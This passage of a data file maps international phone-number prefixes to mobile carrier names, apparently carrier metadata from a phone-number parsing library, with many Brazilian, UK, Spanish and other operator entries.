'551899614':{'en': 'Vivo'}, '551899617':{'en': 'Vivo'}, '551899616':{'en': 'Vivo'}, '551899611':{'en': 'Vivo'}, '551899613':{'en': 'Vivo'}, '551899612':{'en': 'Vivo'}, '551899618':{'en': 'Vivo'}, '553199373':{'en': 'TIM'}, '553199372':{'en': 'TIM'}, '553199371':{'en': 'TIM'}, '551196930':{'en': 'Claro BR'}, '551196931':{'en': 'Claro BR'}, '553199377':{'en': 'TIM'}, '553199376':{'en': 'TIM'}, '553199375':{'en': 'TIM'}, '553398419':{'en': 'Claro BR'}, '553398418':{'en': 'Claro BR'}, '553398417':{'en': 'Claro BR'}, '553398416':{'en': 'Claro BR'}, '553398415':{'en': 'Claro BR'}, '553199374':{'en': 'TIM'}, '553398413':{'en': 'Claro BR'}, '553199704':{'en': 'Telemig Celular'}, '553398411':{'en': 'Claro BR'}, '553598446':{'en': 'Claro BR'}, '552899258':{'en': 'Claro BR'}, '389792':{'en': 'Lycamobile'}, '389793':{'en': 'Lycamobile'}, '553598442':{'en': 'Claro BR'}, '553598443':{'en': 'Claro BR'}, '553598441':{'en': 'Claro BR'}, '3620':{'en': 'Telenor'}, '553598448':{'en': 'Claro BR'}, '553598449':{'en': 'Claro BR'}, '447977':{'en': 'Orange'}, '447976':{'en': 'Orange'}, '447975':{'en': 'Orange'}, '447974':{'en': 'Orange'}, '447973':{'en': 'Orange'}, '447972':{'en': 'Orange'}, '447971':{'en': 'Orange'}, '447970':{'en': 'Orange'}, '447979':{'en': 'Vodafone'}, '552899256':{'en': 'Claro BR'}, '474029':{'en': 'NetCom'}, '474028':{'en': 'Telenor'}, '474022':{'en': 'Telenor'}, '5515997':{'en': 'Vivo'}, '479899':{'en': 'NetCom'}, '48607':{'en': 'Plus'}, '45234':{'en': 'TDC'}, '4915020':{'en': 'Interactive digital media'}, '42077':{'en': 'Vodafone'}, '42072':{'en': 'O2'}, '45237':{'en': 'TDC'}, '45236':{'en': 'TDC'}, '459248':{'en': 'Telenor Connexion AB'}, '459249':{'en': 'Telenor Connexion AB'}, '459246':{'en': 'Telenor Connexion AB'}, '45231':{'en': 'TDC'}, '459244':{'en': 'Ipnordic'}, '459245':{'en': 'Compatel Limited'}, '459243':{'en': 'Companymobile'}, '48601':{'en': 'Plus'}, '45232':{'en': 'TDC'}, '1939891':{'en': 'SunCom Wireless Puerto Rico'}, '551899765':{'en': 'Vivo'}, '551899764':{'en': 'Vivo'}, '491529':{'en': 'Vodafone/Truphone'}, '551899766':{'en': 'Vivo'}, '551899763':{'en': 'Vivo'}, '551899762':{'en': 'Vivo'}, '553799805':{'en': 'Telemig Celular'}, '553799804':{'en': 'Telemig Celular'}, '553799803':{'en': 'Telemig Celular'}, '553799802':{'en': 'Telemig Celular'}, '553799801':{'en': 'Telemig Celular'}, '491526':{'en': 'Vodafone'}, '2344687':{'en': 'Starcomms'}, '2344684':{'en': 'Starcomms'}, '2344682':{'en': 'Starcomms'}, '2344683':{'en': 'Starcomms'}, '2344680':{'en': 'Starcomms'}, '55249924':{'en': 'Claro BR'}, '55249925':{'en': 'Claro BR'}, '55249926':{'en': 'Claro BR'}, '55249927':{'en': 'Claro BR'}, '55249920':{'en': 'Claro BR'}, '55249921':{'en': 'Claro BR'}, '55249922':{'en': 'Claro BR'}, '55249923':{'en': 'Claro BR'}, '347170':{'en': 'Movistar'}, '347171':{'en': 'Vodafone'}, '553199658':{'en': 'Telemig Celular'}, '347177':{'en': 'Movistar'}, '447779':{'en': 'Orange'}, '447777':{'en': 'EE'}, '447773':{'en': 'Orange'}, '447772':{'en': 'Orange'}, '1242442':{'en': 'BaTelCo'}, '1242443':{'en': 'BaTelCo'}, '1242441':{'en': 'BaTelCo'}, '3368':{'en': 'Orange France'}, '1242447':{'en': 'BaTelCo'}, '1242445':{'en': 'BaTelCo'}, '553199218':{'en': 'TIM'}, '3366':{'en': 'Bouygues'}, '3367':{'en': 'Orange France'}, '3361':{'en': 'SFR'}, '3362':{'en': 'SFR'}, '553199219':{'en': 'TIM'}, '502502':{'en': 'Movistar'}, '549266':{'en': 'Personal'}, '549264':{'en': 'Personal'}, '549265':{'en': 'Personal'}, '549262':{'en': 'Personal'}, '549263':{'en': 'Personal'}, '549260':{'en': 'Personal'}, '549261':{'en': 'Personal'}, '474566':{'en': 'Telenor'}, '234628':{'en': 'Starcomms'}, '474563':{'en': 'NetCom'}, '474560':{'en': 'Telenor'}, '474561':{'en': 'Telenor'}, '27741':{'en': 'Virgin Mobile'}, '553599803':{'en': 'Telemig Celular'}, '25679':{'en': 'Africell'}, '25678':{'en': 'MTN'}, '25671':{'en': 'UTL'}, '25670':{'en': 'Airtel'}, '25677':{'en': 'MTN'}, '554798456':{'en': 'Brasil Telecom GSM'}, '25675':{'en': 'Airtel'}, '25674':{'en': 'Sure Telecom'}, '553199245':{'en': 'TIM'}, '554199216':{'en': 'Vivo'}, '486901':{'en': 'Orange'}, '486903':{'en': 'Orange'}, '486902':{'en': 'Orange'}, '486905':{'en': 'Orange'}, '486904':{'en': 'Orange'}, '486907':{'en': 'CenterNet'}, '486906':{'en': 'Orange'}, '22588':{'en': 'Orange'}, '22589':{'en': 'Orange'}, '51839837':{'en': 'Claro'}, '51839836':{'en': 'Movistar'}, '22586':{'en': 'MTN'}, '22587':{'en': 'Orange'}, '1671488':{'en': 'GTA'}, '1671489':{'en': 'GTA'}, '1671480':{'en': 'GTA'}, '1671482':{'en': 'GTA'}, '1671483':{'en': 'GTA'}, '1671486':{'en': 'GTA'}, '1671487':{'en': 'GTA'}, '1787481':{'en': 'Claro'}, '551196059':{'en': 'Vivo'}, '551196058':{'en': 'Vivo'}, '1787484':{'en': 'Claro'}, '1787485':{'en': 'Claro'}, '551196057':{'en': 'Vivo'}, '554398851':{'en': 'Claro BR'}, '5067300':{'en': 'Claro'}, '5067301':{'en': 'Claro'}, '30695340':{'en': 'AMD Telecom'}, '2784':{'en': 'Cell C'}, '2783':{'en': 'MTN'}, '2782':{'en': 'Vodacom'}, '51549588':{'en': 'Movistar'}, '51549583':{'en': 'Claro'}, '51549587':{'en': 'Claro'}, '51549586':{'en': 'Movistar'}, '51549585':{'en': 'Movistar'}, '55319913':{'en': 'TIM'}, '55319912':{'en': 'TIM'}, '55319911':{'en': 'TIM'}, '50946':{'en': 'Digicel'}, '55319915':{'en': 'TIM'}, '55319914':{'en': 'TIM'}, '551599168':{'en': 'Claro BR'}, '3471777':{'en': 'PepePhone'}, '2126921':{'en': 'Al Hourria Telecom'}, '2126922':{'en': 'Al Hourria Telecom'}, '551799636':{'en': 'Vivo'}, '551799637':{'en': 'Vivo'}, '26269377':{'en': 'Orange'}, '551799635':{'en': 'Vivo'}, '26269371':{'en': 'Only'}, '26269370':{'en': 'Only'}, '26269372':{'en': 'Only'}, '3471771':{'en': 'PepePhone'}, '551799638':{'en': 'Vivo'}, '551799639':{'en': 'Vivo'}, '554299973':{'en': 'TIM'}, '554299972':{'en': 'TIM'}, '554299971':{'en': 'TIM'}, '554299977':{'en': 'TIM'}, '554299976':{'en': 'TIM'}, '554299975':{'en': 'TIM'}, '554299974':{'en': 'TIM'}, '554299979':{'en': 'TIM'}, '554299978':{'en': 'TIM'}, '553299949':{'en': 'Telemig Celular'}, '553299948':{'en': 'Telemig Celular'}, '553299945':{'en': 'Telemig Celular'}, '553299944':{'en': 'Telemig Celular'}, '553299947':{'en': 'Telemig Celular'}, '30690399':{'en': 'BWS'}, '553299941':{'en': 'Telemig Celular'}, '553299943':{'en': 'Telemig Celular'}, '553299942':{'en': 'Telemig Celular'}, '51739689':{'en': 'Movistar'}, '51739688':{'en': 'Movistar'}, '553399919':{'en': 'Telemig Celular'}, '553399918':{'en': 'Telemig Celular'}, '553399911':{'en': 'Telemig Celular'}, '553399913':{'en': 'Telemig Celular'}, '553399912':{'en': 'Telemig Celular'}, '553399915':{'en': 'Telemig Celular'}, '553399914':{'en': 'Telemig Celular'}, '553399917':{'en': 'Telemig Celular'}, '553399916':{'en': 'Telemig Celular'}, '3584320':{'en': 'Cuuma'}, '3584321':{'en': 'Cuuma'}, '554599936':{'en': 'TIM'}, '554599937':{'en': 'TIM'}, '554599934':{'en': 'TIM'}, '554599935':{'en': 'TIM'}, '447340':{'en': 'Vodafone'}, '447341':{'en': 'Vodafone'}, '447342':{'en': 'Vodafone'}, '554599931':{'en': 'TIM'}, '553199651':{'en': 'Telemig Celular'}, '180984':{'en': 'Orange'}, '180985':{'en': 'Orange'}, '180986':{'en': 'Orange'}, '180987':{'en': 'Tricom'}, '180980':{'en': 'Orange'}, '180981':{'en': 'Viva'}, '180982':{'en': 'Claro'}, '180983':{'en': 'Claro'}, '180988':{'en': 'Orange'}, '180989':{'en': 'Orange'}, '4869925':{'en': 'Cyfrowy Polsat'}, '4869924':{'en': 'Cyfrowy Polsat'}, '4869927':{'en': 'Cyfrowy Polsat'}, '4869926':{'en': 'Cyfrowy Polsat'}, '4869921':{'en': 'Cyfrowy Polsat'}, '4869920':{'en': 'Cyfrowy Polsat'}, '4869923':{'en': 'Cyfrowy Polsat'}, '4869929':{'en': 'Cyfrowy Polsat'}, '4869928':{'en': 'Cyfrowy Polsat'}, '502595':{'en': 'Telgua'}, '502594':{'en': 'Telgua'}, '502597':{'en': 'Telgua'}, '502596':{'en': 'Telgua'}, '502593':{'en': 'Telgua'}, '502592':{'en': 'Telgua'}, '502599':{'en': 'Tigo'}, '502598':{'en': 'Telgua'}, '5511976':{'en': 'Claro BR'}, '5511975':{'en': 'Vivo'}, '5511974':{'en': 'Vivo'}, '5511973':{'en': 'Vivo'}, '5511972':{'en': 'Vivo'}, '5511971':{'en': 'Vivo'}, '554799658':{'en': 'TIM'}, '22466':{'en': 'Areeba'}, '22465':{'en': 'Cellcom'}, '22463':{'en': 'Intercel'}, '22462':{'en': 'Orange'}, '22460':{'en': 'Sotelgui'}, '551196914':{'en': 'Claro BR'}, '551196915':{'en': 'Claro BR'}, '551196916':{'en': 'Claro BR'}, '551196917':{'en': 'Claro BR'}, '551196910':{'en': 'Vivo'}, '551196911':{'en': 'Vivo'}, '551196912':{'en': 'Vivo'}, '26378':{'en': 'Econet'}, '26377':{'en': 'Econet'}, '26373':{'en': 'Telecel'}, '551196919':{'en': 'Claro BR'}, '26371':{'en': 'Net*One'}, '553299925':{'en': 'Telemig Celular'}, '5037800':{'en': 'Movistar'}, '5037801':{'en': 'Digicel'}, '5037803':{'en': 'Claro'}, '474791':{'en': 'Network Norway'}, '474790':{'en': 'Telenor'}, '474793':{'en': 'Network Norway'}, '474792':{'en': 'Network Norway'}, '5037808':{'en': 'Claro'}, '5037809':{'en': 'Claro'}, '553299921':{'en': 'Telemig Celular'}, '447910':{'en': 'EE'}, '447913':{'en': 'EE'}, '447912':{'en': 'O2'}, '447915':{'en': 'Three'}, '447914':{'en': 'EE'}, '447917':{'en': 'Vodafone'}, '447916':{'en': 'Three'}, '447919':{'en': 'Vodafone'}, '447918':{'en': 'Vodafone'}, '23846':{'en': 'CVMOVEL'}, '23843':{'en': 'T+'}, '554798900':{'en': 'Claro BR'}, '551899639':{'en': 'Vivo'}, '551899638':{'en': 'Vivo'}, '551899633':{'en': 'Vivo'}, '383459':{'en': 'vala'}, '551899631':{'en': 'Vivo'}, '551899637':{'en': 'Vivo'}, '551899636':{'en': 'Vivo'}, '551899635':{'en': 'Vivo'}, '267763':{'en': 'Orange'}, '553599809':{'en': 'Telemig Celular'}, '553599808':{'en': 'Telemig Celular'}, '553199642':{'en': 'Telemig Celular'}, '553599805':{'en': 'Telemig Celular'}, '553599804':{'en': 'Telemig Celular'}, '553599807':{'en': 'Telemig Celular'}, '553599806':{'en': 'Telemig Celular'}, '553599801':{'en': 'Telemig Celular'}, '30691700':{'en': 'Inter Telecom'}, '553599802':{'en': 'Telemig Celular'}, '553199646':{'en': 'Telemig Celular'}, '4915555':{'en': 'Tismi BV'}, '553598468':{'en': 'Claro BR'}, '383453':{'en': 'vala'}, '553598464':{'en': 'Claro BR'}, '553598465':{'en': 'Claro BR'}, '553598466':{'en': 'Claro BR'}, '267769':{'en': 'BTC Mobile/Orange'}, '553598461':{'en': 'Claro BR'}, '553598462':{'en': 'Claro BR'}, '553598463':{'en': 'Claro BR'}, '553199648':{'en': 'Telemig Celular'}, '5025313':{'en': 'Movistar'}, '5025312':{'en': 'Movistar'}, '551999652':{'en': 'Vivo'}, '35988':{'en': 'Mtel'}, '551999651':{'en': 'Vivo'}, '551999656':{'en': 'Vivo'}, '551999657':{'en': 'Vivo'}, '551999654':{'en': 'Vivo'}, '1784433':{'en': 'Digicel'}, '551999658':{'en': 'Vivo'}, '551999659':{'en': 'Vivo'}, '554398426':{'en': 'Brasil Telecom GSM'}, '553599943':{'en': 'Telemig Celular'}, '3469364':{'en': 'DIA'}, '3469365':{'en': 'Carrefour'}, '3469366':{'en': 'Carrefour'}, '3469367':{'en': 'MasMovil'}, '3469360':{'en': 'DIA'}, '3469361':{'en': 'DIA'}, '3469362':{'en': 'DIA'}, '3469363':{'en': 'DIA'}, '1784435':{'en': 'Digicel'}, '3469368':{'en': 'MasMovil'}, '3469369':{'en': 'MasMovil'}, '553599944':{'en': 'Telemig Celular'}, '551899681':{'en': 'Vivo'}, '45204':{'en': 'TDC'}, '45205':{'en': 'TDC'}, '45206':{'en': 'Telenor'}, '45207':{'en': 'Telenor'}, '551898146':{'en': 'TIM'}, '45201':{'en': 'TDC'}, '1787291':{'en': 'CENTENNIAL'}, '45203':{'en': 'TDC'}, '551898148':{'en': 'TIM'}, '35987':{'en': 'Vivacom'}, '45208':{'en': 'Telenor'}, '45209':{'en': 'Telenor'}, '1787299':{'en': 'SunCom Wireless Puerto Rico'}, '1869667':{'en': 'Cable & Wireless'}, '1242455':{'en': 'BaTelCo'}, '1869665':{'en': 'Cable & Wireless'}, '1869664':{'en': 'Cable & Wireless'}, '1869663':{'en': 'Cable & Wireless'}, '1869662':{'en': 'Cable & Wireless'}, '1869661':{'en': 'Cable & Wireless'}, '1869660':{'en': 'Cable & Wireless'}, '50370706':{'en': 'Tigo'}, '47950':{'en': 'Telenor'}, '1869669':{'en': 'Cable & Wireless'}, '1869668':{'en': 'Cable & Wireless'}, '47951':{'en': 'Telenor'}, '50370705':{'en': 'Claro'}, '1242453':{'en': 'BaTelCo'}, '551499169':{'en': 'Claro BR'}, '553899132':{'en': 'TIM'}, '553899133':{'en': 'TIM'}, '553899131':{'en': 'TIM'}, '553899136':{'en': 'TIM'}, '553899137':{'en': 'TIM'}, '553899134':{'en': 'TIM'}, '553899135':{'en': 'TIM'}, '553899138':{'en': 'TIM'}, '553899139':{'en': 'TIM'}, '212661':{'en': 'Maroc Telecom'}, '55429910':{'en': 'Vivo'}, '447757':{'en': 'EE'}, '447756':{'en': 'O2'}, '212660':{'en': u('M\u00e9ditel')}, '447753':{'en': 'O2'}, '447752':{'en': 'O2'}, '447751':{'en': 'O2'}, '447750':{'en': 'O2'}, '551298137':{'en': 'TIM'}, '447759':{'en': 'O2'}, '447758':{'en': 'EE'}, '33696':{'en': 'Bouygues'}, '551298136':{'en': 'TIM'}, '33692':{'en': 'Bouygues'}, '33693':{'en': 'Bouygues'}, '551398115':{'en': 'TIM'}, '551298131':{'en': 'TIM'}, '212664':{'en': u('M\u00e9ditel')}, '551398116':{'en': 'TIM'}, '33698':{'en': 'Bouygues'}, '33699':{'en': 'Bouygues'}, '551398117':{'en': 'TIM'}, '3068519':{'en': 'Cyta'}, '551298132':{'en': 'TIM'}, '5512991':{'en': 'Claro BR'}, '553398454':{'en': 'Claro BR'}, '551298138':{'en': 'TIM'}, '549249':{'en': 'Personal'}, '554599951':{'en': 'TIM'}, '549247':{'en': 'Personal'}, '554198401':{'en': 'Brasil Telecom GSM'}, '554198403':{'en': 'Brasil Telecom GSM'}, '554198402':{'en': 'Brasil Telecom GSM'}, '554198405':{'en': 'Brasil Telecom GSM'}, '554198404':{'en': 'Brasil Telecom GSM'}, '370642':{'en': u('BIT\u0116')}, '370643':{'en': u('BIT\u0116')}, '370640':{'en': u('BIT\u0116')}, '370641':{'en': u('BIT\u0116')}, '370646':{'en': 'Tele 2'}, '370647':{'en': 'Tele 2'}, '370644':{'en': u('BIT\u0116')}, '370645':{'en': 'Tele 2'}, '370648':{'en': 'Tele 2'}, '370649':{'en': u('BIT\u0116')}, '511997':{'en': 'Claro'}, '511996':{'en': 'Movistar'}, '511991':{'en': 'Claro'}, '474087':{'en': 'Telenor'}, '511993':{'en': 'Claro'}, '511992':{'en': 'Claro'}, '551999890':{'en': 'Vivo'}, '554398424':{'en': 'Brasil Telecom GSM'}, '554798432':{'en': 'Brasil Telecom GSM'}, '3468447':{'en': 'Quattre'}, '3468444':{'en': 'BT'}, '3468445':{'en': 'Ion mobile'}, '3468442':{'en': 'BluePhone'}, '3468443':{'en': 'BT'}, '3468440':{'en': 'Eurona'}, '3468441':{'en': 'Lemonvil'}, '554798438':{'en': 'Brasil Telecom GSM'}, '554798439':{'en': 'Brasil Telecom GSM'}, '3468448':{'en': 'Nethits'}, '551299240':{'en': 'Claro BR'}, '551299241':{'en': 'Claro BR'}, '551299242':{'en': 'Claro BR'}, '551299243':{'en': 'Claro BR'}, '551299244':{'en': 'Claro BR'}, '551299245':{'en': 'Claro BR'}, '553198244':{'en': 'Claro BR'}, '2346498':{'en': 'Starcomms'}, '553198240':{'en': 'Claro BR'}, '553198241':{'en': 'Claro BR'}, '553198242':{'en': 'Claro BR'}, '553198243':{'en': 'Claro BR'}, '2346491':{'en': 'Starcomms'}, '554199263':{'en': 'Vivo'}, '2346493':{'en': 'Starcomms'}, '2346492':{'en': 'Starcomms'}, '2346495':{'en': 'Starcomms'}, '2346494':{'en': 'Starcomms'}, '2346497':{'en': 'Starcomms'}, '2346496':{'en': 'Starcomms'}, '553399111':{'en': 'TIM'}, '515195158':{'en': 'Movistar'}, '553399113':{'en': 'TIM'}, '553399112':{'en': 'TIM'}, '553399115':{'en': 'TIM'}, '553399114':{'en': 'TIM'}, '553399117':{'en': 'TIM'}, '479317':{'en': 'NetCom'}, '515195151':{'en': 'Movistar'}, '515195150':{'en': 'Movistar'}, '515195153':{'en': 'Movistar'}, '515195152':{'en': 'Movistar'}, '515195155':{'en': 'Movistar'}, '515195154':{'en': 'Movistar'}, '515195157':{'en': 'Movistar'}, '515195156':{'en': 'Movistar'}, '35844':{'en': 'DNA'}, '35846':{'en': 'Elisa'}, '35841':{'en': 'DNA'}, '35840':{'en': 'Telia'}, '35842':{'en': 'Telia'}, '479237':{'en': 'NetCom'}, '4479117':{'en': 'JT'}, '354882':{'en': u('S\u00edminn')}, '4479110':{'en': 'Marathon Telecom'}, '4479112':{'en': '24 Seven'}, '4479118':{'en': '24 Seven'}, '354888':{'en': u('S\u00edminn')}, '551195472':{'en': 'Vivo'}, '551195473':{'en': 'Vivo'}, '551195474':{'en': 'Vivo'}, '553199796':{'en': 'Telemig Celular'}, '1787465':{'en': 'CENTENNIAL'}, '1787466':{'en': 'SunCom Wireless Puerto Rico'}, '1787460':{'en': 'SunCom Wireless Puerto Rico'}, '1787462':{'en': 'SunCom Wireless Puerto Rico'}, '1787463':{'en': 'SunCom Wireless Puerto Rico'}, '552198325':{'en': 'TIM'}, '4475328':{'en': 'Three'}, '4475329':{'en': 'Mobiweb'}, '4475326':{'en': 'Three'}, '4475327':{'en': 'Three'}, '4475325':{'en': 'SMSRelay AG'}, '455019':{'en': 'Lebara Limited'}, '455018':{'en': 'Lebara Limited'}, '553199737':{'en': 'Telemig Celular'}, '455017':{'en': 'Lebara Limited'}, '455016':{'en': 'Lebara Limited'}, '455015':{'en': 'Lebara Limited'}, '4530':{'en': 'TDC'}, '479915':{'en': 'Telenor'}, '479916':{'en': 'Telenor'}, '515495981':{'en': 'Movistar'}, '515495980':{'en': 'Movistar'}, '515495982':{'en': 'Movistar'}, '515495985':{'en': 'Movistar'}, '515495984':{'en': 'Movistar'}, '515495987':{'en': 'Movistar'}, '515495986':{'en': 'Movistar'}, '515495989':{'en': 'Movistar'}, '515495988':{'en': 'Movistar'}, '551799758':{'en': 'Vivo'}, '552198321':{'en': 'TIM'}, '187686':{'en': 'Digicel'}, '551799755':{'en': 'Vivo'}, '1939910':{'en': 'CENTENNIAL'}, '553199809':{'en': 'Telemig Celular'}, '553199808':{'en': 'Telemig Celular'}, '553199801':{'en': 'Telemig Celular'}, '553199803':{'en': 'Telemig Celular'}, '553199802':{'en': 'Telemig Celular'}, '553199805':{'en': 'Telemig Celular'}, '553199804':{'en': 'Telemig Celular'}, '553199807':{'en': 'Telemig Celular'}, '553199806':{'en': 'Telemig Celular'}, '55419874':{'en': 'Claro BR'}, '552498182':{'en': 'TIM'}, '551798115':{'en': 'TIM'}, '456092':{'en': 'Telenor'}, '456093':{'en': 'Telenor'}, '456090':{'en': 'Lebara Limited'}, '456091':{'en': 'Telenor'}, '456096':{'en': 'Tripple Track Europe'}, '456097':{'en': 'Tripple Track Europe'}, '456094':{'en': 'Telenor'}, '456095':{'en': 'Telenor'}, '456098':{'en': 'Telavox'}, '456099':{'en': 'Mach Connectivity'}, '352628':{'en': 'POST'}, '553399933':{'en': 'Telemig Celular'}, '352621':{'en': 'POST'}, '502352':{'en': 'Movistar'}, '502351':{'en': 'Movistar'}, '502350':{'en': 'Movistar'}, '554599914':{'en': 'TIM'}, '554599915':{'en': 'TIM'}, '554599916':{'en': 'TIM'}, '554599917':{'en': 'TIM'}, '551799618':{'en': 'Vivo'}, '551799619':{'en': 'Vivo'}, '554599912':{'en': 'TIM'}, '553199282':{'en': 'TIM'}, '551799614':{'en': 'Vivo'}, '551799615':{'en': 'Vivo'}, '551799616':{'en': 'Vivo'}, '551799617':{'en': 'Vivo'}, '554599918':{'en': 'TIM'}, '551799611':{'en': 'Vivo'}, '551799612':{'en': 'Vivo'}, '551799613':{'en': 'Vivo'}, '553199287':{'en': 'TIM'}, '553299998':{'en': 'Telemig Celular'}, '553199286':{'en': 'TIM'}, '553199751':{'en': 'Telemig Celular'}, '553199753':{'en': 'Telemig Celular'}, '553199752':{'en': 'Telemig Celular'}, '553199755':{'en': 'Telemig Celular'}, '553199285':{'en': 'TIM'}, '553199757':{'en': 'Telemig Celular'}, '553199756':{'en': 'Telemig Celular'}, '553199759':{'en': 'Telemig Celular'}, '553199758':{'en': 'Telemig Celular'}, '1767235':{'en': 'Cable & Wireless'}, '553199284':{'en': 'TIM'}, '24397':{'en': 'Zain'}, '187648':{'en': 'Digicel'}, '187649':{'en': 'Digicel'}, '187646':{'en': 'Digicel'}, '187647':{'en': 'Digicel'}, '180964':{'en': 'Tricom'}, '180965':{'en': 'Tricom'}, '187642':{'en': 'Digicel'}, '187643':{'en': 'Digicel'}, '180960':{'en': 'Claro'}, '187641':{'en': 'Digicel'}, '552198328':{'en': 'TIM'}, '553299996':{'en': 'Telemig Celular'}, '553299997':{'en': 'Telemig Celular'}, '552198329':{'en': 'TIM'}, '1787915':{'en': 'CENTENNIAL'}, '1787916':{'en': 'CENTENNIAL'}, '1787917':{'en': 'CENTENNIAL'}, '1787912':{'en': 'CENTENNIAL'}, '5025544':{'en': 'Telgua'}, '5025543':{'en': 'Telgua'}, '23288':{'en': 'Africell'}, '234987':{'en': 'Starcomms'}, '38166':{'en': 'mts'}, '38161':{'en': 'VIP'}, '38160':{'en': 'VIP'}, '505839':{'en': 'Movistar'}, '38162':{'en': 'Telenor'}, '23280':{'en': 'Africell'}, '505836':{'en': 'Claro'}, '505835':{'en': 'Claro'}, '38169':{'en': 'Telenor'}, '38168':{'en': 'VIP'}, '551198026':{'en': 'Oi'}, '551198027':{'en': 'Oi'}, '551198024':{'en': 'Oi'}, '551198025':{'en': 'Oi'}, '551198023':{'en': 'Oi'}, '551198028':{'en': 'Oi'}, '551198029':{'en': 'Oi'}, '554199239':{'en': 'Vivo'}, '1345329':{'en': 'Digicel'}, '1345328':{'en': 'Digicel'}, '1345321':{'en': 'Digicel'}, '553398452':{'en': 'Claro BR'}, '1345323':{'en': 'Digicel'}, '1345322':{'en': 'Digicel'}, '1345325':{'en': 'Digicel'}, '1345324':{'en': 'Digicel'}, '1345327':{'en': 'Digicel'}, '1345326':{'en': 'Digicel'}, '554199238':{'en': 'Vivo'}, '234189':{'en': 'Starcomms'}, '234187':{'en': 'Starcomms'}, '234184':{'en': 'Starcomms'}, '234185':{'en': 'Starcomms'}, '234182':{'en': 'Starcomms'}, '234181':{'en': 'Starcomms'}, '447939':{'en': 'EE'}, '447932':{'en': 'EE'}, '447931':{'en': 'EE'}, '447930':{'en': 'EE'}, '447937':{'en': 'JT'}, '373782':{'en': 'Moldcell'}, '373783':{'en': 'Moldcell'}, '373780':{'en': 'Moldcell'}, '373781':{'en': 'Moldcell'}, '373786':{'en': 'Moldcell'}, '373787':{'en': 'Moldcell'}, '373784':{'en': 'Moldcell'}, '373785':{'en': 'Moldcell'}, '373788':{'en': 'Moldcell'}, '553599823':{'en': 'Telemig Celular'}, '553599822':{'en': 'Telemig Celular'}, '553599821':{'en': 'Telemig Celular'}, '553599827':{'en': 'Telemig Celular'}, '553599826':{'en': 'Telemig Celular'}, '553599825':{'en': 'Telemig Celular'}, '553599824':{'en': 'Telemig Celular'}, '553599829':{'en': 'Telemig Celular'}, '553599828':{'en': 'Telemig Celular'}, '553899158':{'en': 'TIM'}, '553899159':{'en': 'TIM'}, '551499103':{'en': 'Claro BR'}, '4473780':{'en': 'Limitless'}, '551999678':{'en': 'Vivo'}, '551999679':{'en': 'Vivo'}, '552799309':{'en': 'Claro BR'}, '551999671':{'en': 'Vivo'}, '551999672':{'en': 'Vivo'}, '551999673':{'en': 'Vivo'}, '551999674':{'en': 'Vivo'}, '551999675':{'en': 'Vivo'}, '551999676':{'en': 'Vivo'}, '551999677':{'en': 'Vivo'}, '3469348':{'en': 'MasMovil'}, '3469349':{'en': 'MasMovil'}, '3469346':{'en': 'MasMovil'}, '3469347':{'en': 'MasMovil'}, '3469344':{'en': 'DIA'}, '3469345':{'en': 'MasMovil'}, '3469342':{'en': 'DIA'}, '3469343':{'en': 'DIA'}, '3469340':{'en': 'DIA'}, '3469341':{'en': 'DIA'}, '553898404':{'en': 'Claro BR'}, '30685585':{'en': 'Cyta'}, '553898407':{'en': 'Claro BR'}, '553898406':{'en': 'Claro BR'}, '5521996':{'en': 'Vivo'}, '5521997':{'en': 'Vivo'}, '5521994':{'en': 'Claro BR'}, '5521995':{'en': 'Vivo'}, '5521992':{'en': 'Claro BR'}, '5521993':{'en': 'Claro BR'}, '5521991':{'en': 'Claro BR'}, '5521998':{'en': 'Vivo'}, '5521999':{'en': 'Vivo'}, '55429886':{'en': 'Claro BR'}, '55429885':{'en': 'Claro BR'}, '55429884':{'en': 'Claro BR'}, '55429883':{'en': 'Claro BR'}, '55429882':{'en': 'Claro BR'}, '55429881':{'en': 'Claro BR'}, '55429880':{'en': 'Claro BR'}, '554398434':{'en': 'Brasil Telecom GSM'}, '554398435':{'en': 'Brasil Telecom GSM'}, '516796766':{'en': 'Movistar'}, '554398433':{'en': 'Brasil Telecom GSM'}, '1345529':{'en': 'Digicel'}, '516796765':{'en': 'Movistar'}, '1345527':{'en': 'Digicel'}, '1345526':{'en': 'Digicel'}, '1345525':{'en': 'Digicel'}, '516796769':{'en': 'Movistar'}, '553899118':{'en': 'TIM'}, '553899119':{'en': 'TIM'}, '551599164':{'en': 'Claro BR'}, '553899112':{'en': 'TIM'}, '553899113':{'en': 'TIM'}, '553899114':{'en': 'TIM'}, '553899115':{'en': 'TIM'}, '553899116':{'en': 'TIM'}, '553899117':{'en': 'TIM'}, '2344673':{'en': 'Starcomms'}, '447733':{'en': 'Vodafone'}, '447735':{'en': 'Three'}, '552298112':{'en': 'TIM'}, '447737':{'en': 'Three'}, '455250':{'en': 'YouSee'}, '517497871':{'en': 'Claro'}, '517497870':{'en': 'Claro'}, '517497873':{'en': 'Claro'}, '517497872':{'en': 'Claro'}, '517497875':{'en': 'Claro'}, '517497874':{'en': 'Claro'}, '517497877':{'en': 'Claro'}, '517497876':{'en': 'Claro'}, '447425':{'en': 'Vodafone'}, '1242481':{'en': 'BaTelCo'}, '2344677':{'en': 'Starcomms'}, '2344676':{'en': 'Starcomms'}, '2344675':{'en': 'Starcomms'}, '447393':{'en': 'Vodafone'}, '2344674':{'en': 'Starcomms'}, '447392':{'en': 'Vodafone'}, '447391':{'en': 'Vodafone'}, '549222':{'en': 'Personal'}, '549223':{'en': 'Personal'}, '549220':{'en': 'Personal'}, '549221':{'en': 'Personal'}, '549226':{'en': 'Personal'}, '549227':{'en': 'Personal'}, '549224':{'en': 'Personal'}, '549225':{'en': 'Personal'}, '551798806':{'en': 'Oi'}, '551798807':{'en': 'Oi'}, '549228':{'en': 'Personal'}, '549229':{'en': 'Personal'}, '551798803':{'en': 'Oi'}, '5522988':{'en': 'Oi'}, '5522989':{'en': 'Oi'}, '553398414':{'en': 'Claro BR'}, '553398412':{'en': 'Claro BR'}, '535':{'en': 'CUBACEL'}, '551499141':{'en': 'Claro BR'}, '23670':{'en': 'TC'}, '23672':{'en': 'Orange'}, '23675':{'en': 'CTP'}, '23677':{'en': 'Nationlink'}, '553598447':{'en': 'Claro BR'}, '370660':{'en': u('BIT\u0116')}, '553598444':{'en': 'Claro BR'}, '370662':{'en': 'Omnitel'}, '551699785':{'en': 'Vivo'}, '256730':{'en': 'K2'}, '551699787':{'en': 'Vivo'}, '551699786':{'en': 'Vivo'}, '551699781':{'en': 'Vivo'}, '551699780':{'en': 'Vivo'}, '551699783':{'en': 'Vivo'}, '551699782':{'en': 'Vivo'}, '551699788':{'en': 'Vivo'}, '554798418':{'en': 'Brasil Telecom GSM'}, '554798419':{'en': 'Brasil Telecom GSM'}, 